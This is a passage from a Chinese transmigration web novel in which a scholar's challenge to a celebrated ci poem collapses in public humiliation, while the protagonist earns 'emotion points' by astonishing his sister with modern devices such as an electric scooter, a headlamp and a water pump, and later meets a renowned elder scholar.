嘈杂的嗦面声、交谈声,在这一瞬间稍稍停滞。
江元勤抓住这片刻的安静,朗声宣告:“在下凌州江元勤,听闻前夜这楼舫之上,出了一首被誉为‘绝唱’的妙词。‘东风夜放花千树’。今日,我特携一词前来挑战,在下目标无他,唯文会魁首耳!”
话音落下,如巨石投湖,激起千层浪。全场愕然。
终于,那些才子们手中依依不舍的筷子,被“啪嗒”一声,齐齐放了下来。只因他们听到了一个石破天惊的消息——
有人,要公开挑战那首“东风夜放花千树”!还要夺取文会魁首?
这是什么情况?
一众人面面相觑,甚至一度以为自己听错了。要知道,他们在拜读过那首词后,从心底里生出的不是奋起直追的斗志,而是高山仰止、难以企及的浓浓绝望。
就连陈馗在内的几位评审,此刻也愣在了
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原地,停下了动作,只把目光齐聚到高台之上。
很快,有人认出了高台上的男子。
“那人好像是……此前凭借一首《江城子》而名扬京都的江进士!”
“对,就是他!此人确实才气过人,别说,以他的实力,说不定还真有资格挑战一二!”
“江兄,既有佳作,何不快快念来,让我等一饱耳福!”
听到台下的议论,江元勤的嘴角勾起一抹自信的微笑,他正了正衣冠,正欲开口。
却忽然听到远处船舷方向,传来一声清亮悠长的高呼:
“郡主到——!”
郡主?
江元勤双眼倏然一睁,只见那与岸边相连的舷梯之上,一位面戴轻纱、身着金丝滚边白裙的绝美少女,正在一行侍卫的簇拥下,莲步轻移,缓缓踏上甲板。
他一时愣了神。
果然,这位传说中的江南第一美人,当真有倾国倾城之貌。即便隔着一层薄纱,也丝毫掩盖不住她那仙姿绰约的绝世风华,以及与生俱来的高贵与自信!
没错!绝对没错!
江元勤此刻十分肯定,他把成为王府郡马立为目标,是最正确的决定!
来得正好。
既然郡主亲临,那便让所有人,便让所有人一起感受一下,他笔下的文字……
当然,在此之前,他还需要一个完美的铺垫。
他打算先将对手的词作诵读一遍,以此作为衬托,更能凸显自己手中这篇文章的惊绝。
江元勤甚至隐隐希望,众人交口称赞的那首词能有几分真材实料,毕竟,他从来不斩平庸之辈。
“侯公子,你可知那首‘东风夜放花千树’的全文?”他略微俯身,目光投向台边的侯茂杰。
后者依旧好心,随手从旁边的案桌上抽了一张纸,递了过去。
侯茂杰甚至连看都不用看,便知那纸上写的正是那首“东风夜放花千树”。只因这两日以来,它已被无数人传抄了千百遍,现在满目所见几乎都是!
江元勤接过纸张,重新站定,目光落向手中的词句,嘴角那抹温文尔雅的笑意依旧未减。
但片刻之后,那笑容便凝固了……
第64章 轮不到我出手了
红日西沉,暮色四合。
王府的楼舫之上,才子佳人们或立或坐,皆屏息凝神,不约而同地保持着绝对的安静,目光齐齐汇聚在甲板中央那座高台之上。
其中也包括刚刚踏上甲板的秦七汐一行。
绝色郡主目光清冷,那双美眸仿佛不起一丝波澜,只是静静地伫立在原地,目不转睛地盯着台上的江元勤。
此人倒真是高调,竟敢公然向那首“东风夜放花千树”发起挑战。
要知道,在场的众人之中,除了来自各地的青年文人,更有不少早已声名远播的儒师名士,譬如文会的主评审陈馗,以及她的老师沈远修,皆是大乾国一等一的大儒。
可即便是他们,在初见那首词时,心中涌起的也并非好胜之心,而是发自肺腑的惶恐与敬畏。毫无疑问,那样的作品,在一瞬间便对他们固有的文学认知形成了巨大的冲击,甚至让他们对自身的名望与地位都感到了一丝汗颜。
唯独今日这青年,竟有如此勇气。
秦七汐之所以多看了他两眼,并非因为他特立独行,也并非欣赏他的高调,仅仅是因为他那张脸,竟与江云帆有那么一丝若有若无的相似。
然而此刻的江元勤,却如遭雷击,彻底呆住了。
他僵立于高台之上,脸色一阵青一阵白,变幻不定。那张写着词文的宣纸被他死死攥在手中,指节因过度用力而发白,浑身更是抑制不住地微微颤抖。
上一秒还意气风发,声若洪钟,这一刻却仿佛被一根尖锐的鱼骨卡住了喉咙,任凭他如何努力,也哽不出一个字来。
终于,台下有人等得不耐烦了。
尤其是距离最近的侯茂杰,词文是他亲手递上去的,因此他最能清晰地感受到这片刻的死寂有多么漫长。
“倒是念啊,元勤兄?我们大家可都伸长了脖子等着呢!”
江元勤用力地皱紧眉头,双眼死死地钉在那纸上,仿佛要将那字迹看穿,却依旧没能念出声来。
“怎么?难不成身为堂堂当朝二甲进士、即将上任的怀南城主簿,会不认识字吗?”
侯茂杰的声音越抬越高,言语间的阴阳怪气毫不掩饰。
他就是看江元勤不顺眼!
倒不是因为两人之间有什么宿怨,纯粹是见不得有人敢如此轻视这首“东风夜放花千树”!
要知道,他侯茂杰敢自诩“琴诗双绝”,敢自称烟凌城第一纨绔,骨子里是带着一股傲气的,寻常人轻易入不了他的眼。
可是在文会的第一晚,当他自陈老大儒口中听到那首“东风夜放花千树”的时候,他整个人的心神都被涤荡了一遍,连眼神都变得前所未有的清澈。
这世间,怎会有如此奇人?怎会有如此奇词?
那一刻,他便心服口服。
即便自己的诗作最终未能进入文会前三,他也毫无怨言,因为在那一夜的星光下,无人能够出彩。
此词一出,天下无词!
而今天,这个江元勤摆出一副高高在上的姿态也就罢了,还偏偏要拿这首词来当他扬名的垫脚石?
哼,他瞧不起谁呢!
“元勤兄,要不要我帮你念呐?”
听闻此话,江元勤的脸色瞬间沉得能滴出水来:“不用!”
他死死咬着牙,强行压下脸上火辣辣的难堪,将那词文一字一句地,艰难地念了出来。
“东风夜放花千树,更吹落,星如雨……”
“……众里寻他千百度。蓦然回首,那人却在,灯火阑珊处。”
“哗啦啦——”
一词诵毕,台下竟同时爆发出雷鸣般的掌声,一众文人雅士无不面泛红光,神情激动,纷纷高声呼好。
这掌声,自然不是给江元勤的。
而是献给那首词。
对于船上的这些人来说,
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即便已是第一千次、第一万次聆听这首词,内心的汹涌激荡与热血沸腾,依然丝毫不减。
“真是好词,百听不厌。”
甲板船沿处,许灵嫣也勾起了嘴角,眼中闪过一丝轻蔑,“如此佳作,又怎么可能与那个无赖江云帆有半分关系。”
只可惜,至今也没能寻到那位神秘的彦公子,这于她而言,算得上是此行最大的遗憾了。
“其实我觉得,也并非全无可能。”
说话的,是秦七汐。
经过下午在念荷亭的一番会面,她对江云帆这个人的认知,再度发生了巨大的改变。
那个人表面看起来随心所欲,吊儿郎当,没有半点正形。
但也正因如此,他才显得与众不同。他的一言一行,看似漫不经心,实则很可能蕴藏着深意。
秦七汐看不透他,但很想去深入了解一番。
所以她才会决定,在明日的万灯节,亲自去江云帆所在的秋思客栈看一看。
“小汐,你定是被他那副皮囊给骗了!若是不信,咱们明晚就去那客栈一探究竟,我定要把他的真面目给揭下来!”
秦七汐一脸无奈地看着她:“你还是不要胡来的好。”
许灵嫣的目光重新转向中央高台上的江元勤,旋即,一丝满怀深意的笑容在她唇边绽放。
“这一次,恐怕还轮不到我出手了。”
她当然认得江元勤。
当初在京城,她是跻身上流的名淑才女。而江元勤自凌州往国经院求学,凭借不俗的才华,同样挤进了他们的圈子。
许灵嫣还清楚记得,第一次有关江云帆不学无术的消息,正是从江元勤口中得知。
江元勤也不待见这个丢人现眼的弟弟。
如果他知道江云帆就在秋思客栈当个杂工,明晚多半也会前往。
到那个时候,江云帆这一身伪装,自会被一一卸下……
第65章 那只是别人的天黑
夜幕如墨,悄然浸染了镜湖的天际。
镜湖之岸的青石板,相互拼凑成路,沿着河堤一直通向远方。
天色已经近乎全黑了,湖上清风吹走地面的暑热,路上的行人也多已散去。此刻的镜湖,倒显得清净惬意。
相比于人声鼎沸的繁华,江云帆更沉醉于此刻的孤寂与宁静。
此刻驱车游玩,这才是他想要的,远离尘嚣,自在逍遥……
【叮!震惊达成,来自江元勤的情绪值:+218!】
嗯?
江元勤?
突如其来的一声响,倒是把江云帆给吓了一跳。
这人又是从哪儿冒出来的?
在原主的记忆里,这位来自江家长房的二堂兄,此刻应该还在京城吧。
难不成那首《青玉案·元夕》,已经传到京城去了?
江云帆忽然有种不好的预感。
那晚镜湖文会,他利用无人机投词船上,目的只是收割一小波情绪值,方便兑换光伏发电机。
没想过扬名立万,更没打算把这首词搞得人尽皆知。
看来他还是小看了大乾人对诗词的狂热程度。他们人菜瘾大,虽然几百年来写诗题词的水平都不高,可一旦遇上了精彩的作品,那恨不得将其推到天上去!
很显然,词中之龙辛弃疾一出手,这些文人才子直接被点爆了。
江云帆还有些心有余悸,看来以后凡事得悠着点,万一把自己给整暴露了,往后的日子要如何过,可就由不得自己了。
“哥。”
正思量间,坐在电动车后座的江滢忽然喊了一声。
江云帆微微侧过头,透过昏暗的光线,见小姑娘正睁着一双清亮的明眸,有些失神地望着远方水天相接处的湖景。
“这镜湖的夜晚,真美。”
“是啊。”
江云帆松了松手中的油门,让电动车放缓了速度。奔行在石板路上,少了几分颠簸,多了些许悠闲,“你要是真喜欢,以后就长住在这里,没人会赶你走。”
江滢闻言,沉默了片刻。
她望着远方空明如镜的湖面,望着水中倒映的皓月与繁星,还有那些星星点点、随波摇曳的船只灯火,心中不禁泛起涟漪。
若是能永远留在这份静谧安详之中,该有多好?
可惜,她不能。
“哥,你真的不打算回江家了吗?”
“不回了。”江云帆回答得很干脆,“那地方在我记忆里,就只有高耸的围墙和严苛的教条,没什么意思。而镜源虽小,但胜在自由,再说了,目前客栈的生意也还不错,说不定瑶姐哪天就发大财了,我还能跟着喝口肉汤呢。”
听到江云帆这番话,江滢的嘴角也不自觉地勾起一抹浅淡的笑意。
是啊,这样的生活,真好。
但有些人,注定无法贪恋这份惬意。
“前些天,父亲从北境来信了。”她忽然开口,声音沉了下去,打破了这份宁静,“阿公收到的,我……我隔着墙角,偷偷听到了一些。”
“父亲说什么了?”
江云帆的神情也瞬间严肃起来。他太了解原主那位镇守边关的父亲了,军务如山,若非十万火急的大事,绝不会轻易寄送家书。
“父亲说,北境的蛮族近来蠢蠢欲动,边境摩擦不断,恐怕……战乱又要起了。他和兄长,短时间内都回不来了。”
说到最后,江滢的声音带上了无法抑制的微颤。
江云帆明白,战争对于远离边陲的寻常百姓而言,或许只是意味着赋税的加重。但对于江滢,这份感受要复杂沉痛得多。
因为她的故乡,她的亲生父母,或许就在那道关隘的另一端。
“行了,别胡思乱想了。”江云帆忽然爽朗一笑,试图驱散这气氛,“既然战争无法避免,那就更应该珍惜和享受当下。走,哥带你回家吹电风扇去!”
“电风扇是什么?”
“是酷暑里的清凉港!”
“……”
江滢微微一笑,心想许久不见,哥哥说话怎么还变得这般文绉绉的。
“哥你慢点,天黑危险!”
“天黑?”
江云帆嘴角一扬,伸手打开了电动车的前车
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灯。
从容而沉稳的声音在江滢耳边响起——
“那只是别人的天黑。”
“刷——!”
话音一落,一道刺目的白光猛然从车头喷薄而出,如一柄无坚不摧的利剑,瞬间撕裂了前方的浓重夜色!
光芒所及之处,青石板路上的每一丝纹理,每一颗细小的石子都纤毫毕现,亮如白昼。
这光芒纯粹、冰冷,不似阳光的炽热,也不同于火光的温吞摇曳,它就那么凭空而生,霸道地驱散了周遭的一切黑暗。
“啊?”
车后座的江滢猝不及防,被这突如其来的强光晃得眼前一片雪白。
她下意识地闭上了双眼,勉强适应后,透过指缝去看。
这……这是什么光?
这还是她第一次见到,一样东西不借助火焰,竟能绽放出如此夺目的光辉?
【叮,震惊达成,来自江滢的情绪值:+182!】
很好,合理的结果。
江云帆早就有所预料,在古代使用“电灯”这种东西,给人带来的冲击力,说不定远大于任何一首诗词。
江滢之所以只提供了这点情绪值,估计也是今天接受的震惊太多,情绪持续保持亢奋的状态,从而产生抗性了。
也罢,看来惊人也得有个度。
江少爷果断油门到底,驾着电动车风驰而去。
……
与此同时,数百丈外的王府楼舫之上。
方才因那首绝世好词而掀起的雷鸣掌声平息,甲板上的气氛却未有丝毫缓和。
高台中央,江元勤僵立原地。
尽管词已念完,但那张脸却由红转紫,最后定格成了难看的猪肝色,额角的青筋一跳一跳,模样狼狈。
而台下的人,显然也不打算就此罢休。
尤其是侯茂杰。
此刻他摇着折扇,施施然地站着,嘴角微微一咧:“元勤兄!”
“现在对手词也念完了,是不是也该让我等开开眼,拜赏一下您这新科进士的大作了?”
“……”
江元勤没有说话,却把手指都给捏得泛白。
第66章 别再让他上船了
“元勤兄,你这是怎么了?”
侯茂杰唇角咧开一抹毫不掩饰的讥讽,声音不大不小,却清晰地传遍了整个船楼,“莫非是觉得我等凡夫俗子,还未曾做好准备,聆听您的惊世之作?还是说,这铺垫了半晌,依旧觉得火候未到?”
侯大公子此言一出,引得满堂哄笑。
他虽无官身,却也并非寻常纨绔。他怕许灵嫣,是因户部尚书权势滔天,父亲的仕途尚需仰仗许家,自然不敢得罪。可区区一个江元勤,纵然是新科进士、即将上任的怀南城主簿,他侯茂杰也全然不放在眼里。烟凌城与怀南城远隔千里,井水不犯河水,他没什么可求对方的。
所以,侯茂杰今天就是铁了心要得理不饶人,非要将此人的脸皮彻底撕下来不可。
原因很简单,那首《青玉案·元夕》,已在他心中封神。
而写下这首词的神秘高人,更是他由衷景仰崇拜的对象。
文人相轻,挑战本是常事,但他绝不容许有人将这等惊世之作,当成是抬高自己的垫脚石!
文会现场,与侯茂杰抱有同样想法的才子名士大有人在。一时间,众人纷纷随声附和,鼓噪声浪此起彼伏,都等着江元勤将他的“大作”公之于众,好与那首珠玉在前的神作一较高下。
“我……”
江元勤一张脸涨成了猪肝色,又渐渐转为铁青,连额角的青筋都一根根暴起。他死死攥着那份精心准备的词稿,指节因过度用力而寸寸发白。心中仿佛有万马奔腾践踏而过,理智与颜面激烈交战,最终,他猛地一咬牙,做出了决断!
“今日……恐怕是不行了。”
江元勤强忍着头皮炸开般的**感,硬生生别过脸,不敢去看台下任何一道目光,只用蚊蚋般的声音含糊道:“是这样,我那词文之中,尚有一处用典不够精妙,此刻仍在斟酌推敲,待下次……下次文会,定然会奉上,与诸位共赏!”
话音未落,他便再也撑不住,连忙将头深深埋下,踉跄着脚步,几乎是狼狈地逃离了那方高台。
“元勤兄,你这莫不是临阵脱逃了?”
“就这点胆量,也敢妄言挑战?当真是不知天高地厚!”
“我看呐,分明就是个欺世盗名的缩头乌龟!”
船楼之上,嘲讽与咒骂如潮水般涌来,一字一句都像淬了毒的尖针,刺得他背脊生疼。江元勤哪里还有脸面在此地多待片刻?
他急忙以袖掩面,拨开人群,朝着船下疾步而去。
他确实是当了缩头乌龟,可又能如何?
方才那首词念诵之时,带给他的那种无与伦比的震撼与压迫感,至今仍未消散。他曾有幸入过乾文阁,拜读过那些流传千古的佳作名篇。
在来镜源县之前,他本以为这首被吹得神乎其神的词,充其量也就是勉强能踏入乾文-阁门槛的水准。而他耗费半年心血写就的得意之作,自认至少能入乾文阁第三层!
可当他满怀信心地站在这里,才发现自己错得有多么离谱,多么可笑。
那是一首怎样的词?江元勤搜遍了自己读过的乾文阁所有奇作,即便是第八层以上的千古绝唱,竟也找不出任何一首,能稳稳压过此词一头。
而他江元勤,又算个什么东西?凭什么,敢与这样的作品相提并论?
后悔归后悔,但他江元勤也是要脸面的读书人。他可以当丧家之犬,却绝不能留下白纸黑字的败绩,让人抓到实质的证据,说他的词在比试中一败涂地,一文不值。
至于旁人要骂,那就由他们骂去吧。
“元勤……元勤兄!”
恰在此时,跟随秦七
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汐等人一同回来的程修齐正好站在船沿处。他看见江元勤快步走来,那张大方脸上立刻绽放出蠢笨而热情的笑容,主动迎了上去:“好兄弟,多日不见,别来无恙啊?还记得你我当初在天京河畔饮酒作赋,何等快哉!一晃竟已大半年了!”
“元勤兄?”
江元勤脚步不停,从他身边径直走过,连头都未曾抬一下,只从牙缝里挤出几个字:“阁下认错人了。”
真是个彻头彻尾的蠢货!江元勤第一次觉得,有一个愚蠢的朋友,是件如此不幸且令人作呕的事。
他再也懒得理会身后的呼唤,脚下生风,顺着舷梯飞快地往下走,转眼便消失在了码头的夜色之中。
“灵嫣,你认得此人?”
一场闹剧收场,秦七汐回头望了一眼,便收回视线,转身往船楼深处走去。
许灵嫣心中本还对江元勤存着一丝若有若无的同情。平心而论,这位江家二少爷并非庸才,当初在京城,也曾凭一首词博得不小的名气。
可谁叫他选错了对手呢?毫无疑问,在许灵嫣心中,那首“东风夜放花千树”,已是整个大乾王朝文坛上,最坚不可摧的一座高山。江元勤不自量力地一头撞上去,落得如此下场,也只能说是活该!
“认得,他便是凌州江家的二公子江元勤,说起来,还是江云帆的堂兄。”
“江云帆的堂兄?”
一听到与江云帆有关,小郡主当即停下脚步,一双明眸瞬间亮了起来,又连忙扭头望向那人远去的背影,带着几分懊恼道:“呀,那我们刚才是不是有些怠慢了?要不,现在派人去把他请回来?”
“呃……其实他与江云帆之间,并不和睦。”
“哦。”
秦七汐她脸色一沉,“那就别再让他上船了。”
……
第67章 神秘礼盒
今日运气只能算是一般,刷新出的货品列表里,并没有出现那种能让人眼前一亮的高价值稀有物。
不过江云帆转念一想,倒也释然。就算真刷出了什么惊世骇俗的好东西,凭他眼下仅剩的一千二百点情绪值,也只能是望洋兴叹,压根就买不起。
他不再犹豫,意念微动,果断将精盐、节能灯泡、珍珠米和那台五折的抽水泵尽数拿下。
一来,可以及时补充桃源居的食物库存和夜间照明所需,让生活品质再上一个台阶。二来,在桃源居后院那口深水井打水,一直是件麻烦事。
那井是白瑶的父亲当年亲手所挖,井水常年丰盈,水质清洌甘甜,唯一的缺点,便是取水方式太过原始费力。每次用那吱呀作响的辘轳打水,都足以把江云帆累得气喘吁吁。
有了这台电动抽水泵,以后拧开水龙头就有水的“自来水”生活,便指日可待了。
至于最后那件商品,德芙巧克力,倒是颇有些应景。今日恰逢七月七,这东西的含义不言而喻。奈何他孤家寡人一个,实在是用不上这份甜蜜。
一番购物之后,七百五十点情绪值瞬间扣除。几乎在同时,他脑海中一道璀璨的金光轰然乍现,紧接着,一道比以往任何一次都要洪亮悦耳的系统提示音隆隆响起:
【叮!】
【商城升级完成,当前等级:Lv3。恭喜宿主,商城出现高级货品概率提升,并获得一次抽奖机会!】
……
终于!历经三个月的辛勤积攒,这系统商城的等级,总算攀升到了三级!
三级商城,意味着将有百分之五的几率,刷新出全新的四阶商品,其售价区间高达五千至两万情绪值。与此同时,更有微乎其微的可能,出现传说中的珍惜商品。
回想二阶商品便已出现了光伏发电机、电动车这般足以改变生活格局的高级产物,江云帆心中不禁涌起一股强烈的期待,四阶商品,又该是何等神奇的存在?
不过,具体如何,还得等明日刷新之后再见分晓。
因为眼下,还有一件更具仪式感、也更令人心跳加速的事情等着他——抽奖!
每一次商城升级,都能获得一次宝贵的抽奖机会。上一次,江云帆抽中了【折一折】功能,让每日刷新时都有一件商品随机打折,这在前期为他节省了大量的情绪值。
这一次,就看手气如何了。
他集中精神,用思维开启了抽奖界面。
通过系统视窗,一个巨大而华丽的虚拟圆盘浮现在他眼前。盘面上密密麻麻地分割出无数个扇区,陈列着数以千计的各色奖励,不同的颜色光晕代表着不同的稀有等级,看得人眼花缭乱。
江云帆深吸一口气,直接启动了抽奖。
那巨大的圆盘应声飞速旋转起来,无数奖品化作流光魅影,从静止的指针上一闪而过。
最终,转盘的势头逐渐衰减,在一阵令人屏息的缓慢转动后,指针稳稳地停在了一个散发着神秘紫色光芒的奖品格上。
【叮!抽奖完成,获得奖励——下次一定!】
下次一定?
江云帆看到这名字,不由得啼笑皆非。这系统的命名逻辑还真是清奇得可以,什么网络热梗都信手拈来。
然而,名字虽然抽象,其效果却非同凡响。
【下次一定】:每日可锁定一件商城商品,使其不随系统刷新而消失。每成功锁定一次(二十四小时),该商品售价将自动降低1000情绪值。
乍看之下似乎平平无奇,但江云帆稍一思索,便立刻明白了这功能的强大之处。
商品不随刷新消失,这意味着,今后再遇到那些价值连城、自己又暂时囊中羞涩的好东西时,便有了将其留住的资本。更何况,每锁定一天,售价便降低整整一千情绪值,这无疑是为他拿下那些天价商品铺就了一条康庄大道。
总而言之,这绝对是一个神技!
江云帆心满意足地收起系统界面,穿戴整齐后起了床,顺手将睡得有些凌乱的被褥摆弄整齐。
江滢昨夜睡在了他的房间,他自己则理所当然地搬到了库房。
好在这里有张闲置的老床,虽是破旧了些,但收拾收拾总归能睡人。只是睡了一宿,到底还是有些腰酸背痛。
“唔……”江云帆揉了揉有些发僵的肩膀,迈步走向厨房。
他熟练地用电热水壶烧开一壶水,从橱柜里翻出两包一个月前兑换的豆奶粉,又找出两个晶莹剔透的玻璃杯,分别冲泡好。橱柜深处,还有些他
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提前储备下来以备不时之需的荞麦面包。
将这些东西一一摆放在托盘上,他端着走向江滢的房门,正要敲门。
“滢滢,起来吃早饭了!”
“哥,我在这儿……”
一个细弱的声音却从屋后传来。江云帆闻声绕到后院,眼前的一幕让他心头一紧。只见江滢正提着一个几乎有她半人高的木桶,步履蹒跚地朝厨房这边走来,每一步都走得极为吃力,牙关紧咬着,那张本就没什么血色的小脸更是憋得一片苍白。
江云帆见状,三步并作两步地冲上前,急忙从她手中接过了沉甸甸的水桶。
江滢那瘦小的身体骤然一松,仿佛卸下了千斤重担,轻轻喘了口气。
“我看缸里没水了,想着做饭要用,就……就去打了点。”她小声解释道,语气里带着一丝邀功般的期待。
江云帆看着她,无奈又心疼地瞥了她一眼:“你呀,以后还是多吃点好的,先把身子养回来再说。”
这姑娘自幼体弱,从风沙漫天的北漠来到水汽氤氲的江南,本就有些水土不服。
好不容易适应了环境,家中却又无人照料,在江家大宅里更是时常受人欺负,以至于身为堂堂的江家小姐,竟落得个营养不良的境地。
江云帆伸手指了指客堂的方向,语气不容置喙:“去,到客堂里安安心心坐着,等吃早饭。打水这种粗活,交给我。”
“嗯。”江滢自知好心办了坏事,满怀歉意地点点头,乖巧地转身走回客堂,在桌前坐下。
“这是……”
她的目光很快便被桌上的食物吸引了过去。一个干净的白瓷盘子里,整齐地摆放着几块她从未见过的方形食物,约莫巴掌大小,色泽微褐,看上去像是某种精细的面点。
而旁边那两只杯子更是漂亮,通体透明,澄澈得好似上等的琉璃,能清晰地映出窗外透入的晨光。
杯中盛着乳白色的温热汁液,正丝丝缕缕地向上冒着热气。
江滢好奇地凑近鼻子,对着那杯中之物轻轻一嗅。
“!”
一股浓郁香甜、却又无比清新的味道瞬间钻入鼻腔。
“好香……”她忍不住发出一声轻微的呢喃,一双清澈的眼眸里,写满了惊奇与向往。
第68章 水会自己来?
江滢从来没有闻到过这样的味道。
浓郁的芬芳丝丝缕缕地钻入鼻腔,仿佛带着某种奇特的魔力,久久盘桓不散。
她终是没能忍住,小心翼翼地捧起其中一个温热的玻璃杯,将嘴唇凑到杯口,轻轻地抿了一小口。
嗯……暖流顺喉而下,口感醇厚却不粘腻,甜意恰到好处,丝毫不觉齁人,只余满口浓郁的豆香在舌尖与唇齿间缠绵不去,回味悠长!
哥哥的家里,怎么会有如此美味的豆汁?
江滢的记忆被瞬间唤醒。幼时在北漠,她也曾饮过牧民家的牛羊乳,虽说滋养身体,可那股浓重的膻腥味总是让她难以入口。后来辗转到了凌州,城中贩售的豆浆倒是没了腥气,却又寡淡如水,甚至带着一丝若有若无的苦涩,与眼前这杯琼浆玉液相比,简直是云泥之别。
她又拿起盘中那块方方正正的食物,学着哥哥的样子咬下一口。口感松软,却又带着十足的嚼劲,朴实而自然的麦香在口中弥漫开来,让人感觉格外踏实、果腹。
哥哥平时……过的都是这等神仙般的日子吗?
江滢一时间有些痴了,整个人都呆坐在那里。
其实从昨晚踏入这个家门开始,她所受到的冲击就从未停止过。
那个被哥哥称作“电风扇”的奇物,与寻常的手摇扇有着天壤之别。它能自行站立,顶着一个古怪的圆盘,内里竟嵌着数片坚固的叶片。
当哥哥指尖轻按,叶片骤然飞旋,快得只剩一团虚影,一股远比手摇扇强劲百倍的凉风扑面而来,瞬间便驱散了江南夏夜所有的闷热与黏腻,那一刻,她甚至恍惚间以为自己回到了北漠,正迎着草原上狂放不羁的风。
还有哥哥的床榻,更是柔软得不可思议。
江滢发誓,此生从未睡过如此舒适的床,整个人躺上去,仿佛陷入了一团温暖的云朵之中,将她瘦弱的身体温柔地承托住,连祖母那张铺了七八层锦褥的床榻也远远不及。
在来此地之前,她心中一直惴惴不安,担忧着哥哥被逐出家门后会过得何等凄苦。
现在看来,她所有的担忧都是多余的。这哪里是受苦,分明是她无法想象的享受……
江滢回过神,又吃了两块荞麦面包,将杯中的豆奶喝得一滴不剩。她正准备起身去后院寻找江云帆,房门恰好被推开,江云帆端着一盆热气腾腾的净水走了进来。
“吃完了?用这热水洗漱一下吧。”
江滢的脸上写满了困惑,懵懵地问道:“哥,你是什么时候烧的热水?”
“就在刚才啊。”江云帆答得理所当然。
江滢秀眉微蹙,她不信。怎么可能就在刚才?她一直待在客堂,从未听见厨房有生火的动静,院子里的屋顶更是连一丝炊烟都未曾升起,这盆热水究竟从何而来?
“对了,”江云帆仿佛看穿了她的心思,话锋一转,“你以后别再用那辘轳打水了,既费力又危险,过来,我教你个新法子。”
“……”
江滢满腹疑云,脑子里乱作一团,只能迷迷糊糊地跟在江云帆身后。不用辘轳,那要如何从深井里取水?难不成……还能直接用手伸进去捞不成?
事实证明,她的猜想虽然离谱,但某种意义上,却也相差不远——还真是用“手”!
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她跟着江云帆来到后院的水井旁,只见江云帆走到一处墙角,伸手握住墙壁上一个凸出的古怪拉杆,而后手臂发力,猛地往下一压——
“嗡……”
一声低沉的轰鸣自水井深处传来,仿佛有巨兽在井底苏醒,连带着脚下的地面都似乎在微微震颤。
江滢被这突如其来的声响吓了一跳,还未等她反应过来,一旁的大水缸处,又响起一阵“哗啦啦”的清脆水声。
她循声望去,只见水缸口不知何时被固定了一根从井边延伸而来的奇特管子,那管子不知是何种材质所制,非金非木。此刻,清澈的水流正从那管口中汹涌喷薄而出,不断地灌入水缸之中。
缸里的水位以肉眼可见的速度飞快上涨!
“哥,这、这是……”江滢的声音都有些颤抖了。
“自来水。”
自来水?自己……就会来的水?!
江滢彻底怔住了。这……这天底下怎会有如此离奇之事?难不成是这口井得了灵性,通了人性不成?
【叮,震惊达成,来自江滢的情绪值:+167!】
很好。
又一笔丰厚的情绪值到账,江云帆心里美滋滋的。
其实自从昨晚江滢住进来到现在,她的震惊几乎就没断过,前前后后加起来,已经为他贡献了足足七八百点情绪值。不得不说,这江滢简直就是个情绪值的宝藏,产量实在丰厚。
江云帆甚至都不敢想象,要是将这一整套流程,在那位身份尊贵的秦小姐身上复刻一遍,又将是何等惊人的一笔财富。
不过,不急。只能说,来日方长吧……
第69章 这小侍童好生俊俏
镜湖之景之所以名动江南,引人入胜,并非因其水平风静,波澜不惊,也不是因为花草瑰丽,四季芬芳。
其真正的精髓,在于那浑然天成的平整水面,与缓斜而入的平整湖岸,几乎完美地连成了一体。
在许多地方,湖岸的坡度极其和缓,青草依依,一路蔓延,最终悄无声息地与湖水相接。放眼望去,水光与草色交融,时常会产生一种奇妙的错觉,分不清哪里是湖的尽头,哪里是岸的开端。
旅客置身其中,仿佛踏入了一望无际的青色原野,又好似正漂浮于浩瀚无垠的碧色沧海,从而放空身心,忘记一切烦恼。
正此时,杨柳岸,晓风残月。
江云帆跟在墨羽身后,沿着曲折的木廊前行。
一番徒步,最后来到镜湖三号码头附近,一处名为“月亮湾”的所在。
这月亮湾的景致,正是“岸同水平”这一奇景的绝佳典范。
整个湾岸绵延约莫三里,岸滩平整而辽阔,上面生满了青翠欲滴的碱草,草丛之中,又夹杂着星星点点的粉白芍药花,随风轻摇。
一排杨柳绵延远去,构成湖与岸的交界线。
柳叶之下,是一条以暗色原木铺就的人工廊道。清晨时分,露水随风飞散,落在廊道上,将那木板浸湿。
江云帆听着自己的鞋底踩在微湿廊道上发出的“咚咚”闷响,埋头走了许久。最终,在湖湾一处幽静的拐角,他终于见到了那位名动江南的归雁先生。
那是一位看起来年近七旬的老者,面容慈和,此刻正由一名眉清目秀的侍童陪伴着,缓缓踱步而来。
他身着一袭朴素的褐色长袍,体态微胖,气色红润,显然平日里调养得极好。一头整齐盘起的头发,竟还未见多少霜白。
江云帆对他的第一印象,便是那张圆脸,带喜相。
而在原主的记忆中,这位老先生的身份可不简单。可以说,自三十年前开始,他便已是整个江南文坛公认的泰山北斗,是无数读书人仰望的标杆人物。
今日这等人物竟会亲临小小的镜源县,还指名点姓要见自己,这让江云帆心中着实感到意外,也多了几分审慎。
“江云帆见过老先生。”
作为小辈,江云帆还是懂得基本礼节的。他走上前去,站定之后,便先躬身作揖,姿态恭谨。
沈远修见状,那张圆脸顿时笑意更浓,眼角的皱纹都舒展开来:“闻名不如一见,江公子果真是温文尔雅,仪表不凡啊!”
他打量着眼前的少年,第一眼就觉得喜爱。
这份喜爱,并非因为昨日念荷亭上那首惊才绝艳的诗,也非因为江云帆生得一表人才,而是欣赏他那不卑不亢的气质。
明明是躬身行礼,谦逊有加,脊背却依旧挺得笔直,如一杆青竹。这种人,往往沉稳内敛,骨子里是藏着傲气的。
上一次沈远修有这种一见面就喜欢得不行的感觉,还是在十多年前,初见秦七汐的时候。
“先生过誉了。”
江云帆缓缓站直身体,目光平静地凝视着沈远修:“人与人眼中的世界,本就各有各的春秋。看人也一样,先生觉得我仪表不凡,只能证明我与先生恰好逢源!”
“好!”
听到这番滴水不漏又颇具新意的回答,沈远修再度眯了眯眼睛,眼中的欣赏之色愈发浓郁。
好一个“各有春秋”!
思维新奇,言辞恳切。这一刻,他更加确定,眼前这个孩子,实在是对极了他的胃口。若是能像郡主那样,拜入自己门下,那边再好不过了。
当然,更加深入的了解,也是必不可少的。
“江公子,请随我到前方的观景台落座。”沈远修抬手一引,道,“老夫已让人备好了热茶,咱们边品边聊。”
江云帆点点头,不再多言,随着对方的脚步,一路来到湖畔的观景台。
那是一座从廊道旁侧,向着湖心延伸出去的平台。同样是用暗色的木板铺成,面积大概有二丈长宽,平台最前方的区域,已然悬于清澈的湖水之上,视野极为开阔。
此刻台上已摆好了一张茶桌,两把藤椅。
沈远修领着江云帆刚一坐下,一直跟在身后的墨羽便立马上前一步,端起桌上的茶壶,准备为二人斟茶。
可谁知,跟随沈远修前来的那位侍童,只是抬头瞪了她
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一眼。
